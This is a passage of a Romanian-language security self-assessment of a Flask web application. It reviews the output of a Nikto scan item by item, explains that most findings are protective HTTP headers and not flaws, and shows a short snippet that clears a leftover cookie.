+ Server banner has changed from 'None' to 'Werkzeug/3.1.4 Python/3.13.9' which may
suggest a WAF, load balancer or proxy is in place
+ 6544 items checked: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2025-12-17 13:39:43 (GMT2) (114 seconds)
-----
+ 1 host(s) tested
```

- a. **Uncommon header 'x-frame-options' found, with contents: SAMEORIGIN:** nu este o vulnerabilitate ci protecție împotriva clickjacking (pagină legitimă în iframe), de obicei nu este prezentă la site-uri.
- b. **Uncommon header 'cross-origin-embedder-policy' found, with contents: require-corp:** împiedică un site extern să încarce resurse din aplicație în mod neautorizat, din nou nu este o vulnerabilitate ci un feature.
- c. **Uncommon header 'x-xss-protection' found, with contents: 1; mode=block:** protecție XSS.
- d. **Uncommon header 'cross-origin-opener-policy' found, with contents: same-origin:** nu se permit referințe între ferestre, din nou nu este o vulnerabilitate, nu este de obicei întâlnit la site-uri.
- e. **Uncommon header 'permissions-policy' found, with contents: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=(), vr=():** din nou nu este o vulnerabilitate, header-ul nu este folosit în general dar este util.
- f. **Uncommon header 'strict-transport-security' found, with contents: max-age=31536000; includeSubDomains:** se folosește doar HTTPS din nou nu este o vulnerabilitate ci un feature.
- g. **Uncommon header 'x-content-type-options' found, with contents: nosniff:** browser-ul va respecta strict tipul de conținut (Content-Type) declarat de server, header care nu este comun dar este benefic.
- h. **Uncommon header 'content-security-policy' found, with contents: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;** de unde se pot lua resursele încărcate, din nou nu este un lucru negativ prezența lui ci doar faptul că nu este comun.
- i. **Cookie mesajEroare created without the secure flag și Cookie mesajEroare created without the httponly flag:** cookie mesajEroare este folosit dacă se resetează aplicația pentru a bloca niște cookies ciudate, nu funcționează marcarea secure sau httponly din cauza metodei prin care este trimis.

Python

```
@app.after_request
def sterge_fantoma(response):
    response.set_cookie('mesajEroare', value='', expires=0, secure=True,
httponly=True)
    return response
```

- j. **Root page / redirects to: /acasa** - nu este o vulnerabilitate
- k. **No CGI Directories found (use '-C all' to force check all possible dirs):** Nikto nu a găsit directoare CGI în aplicație, deci nu are vulnerabilități din acele scripturi.
- l. **Allowed HTTP Methods: OPTIONS, GET, HEAD**
- m. **Server banner has changed from 'None' to 'Werkzeug/3.1.4 Python/3.13.9' which may suggest a WAF, load balancer or proxy is in place:** nu este o eroare ci încercarea eșuată de a ascunde versiunea serverului.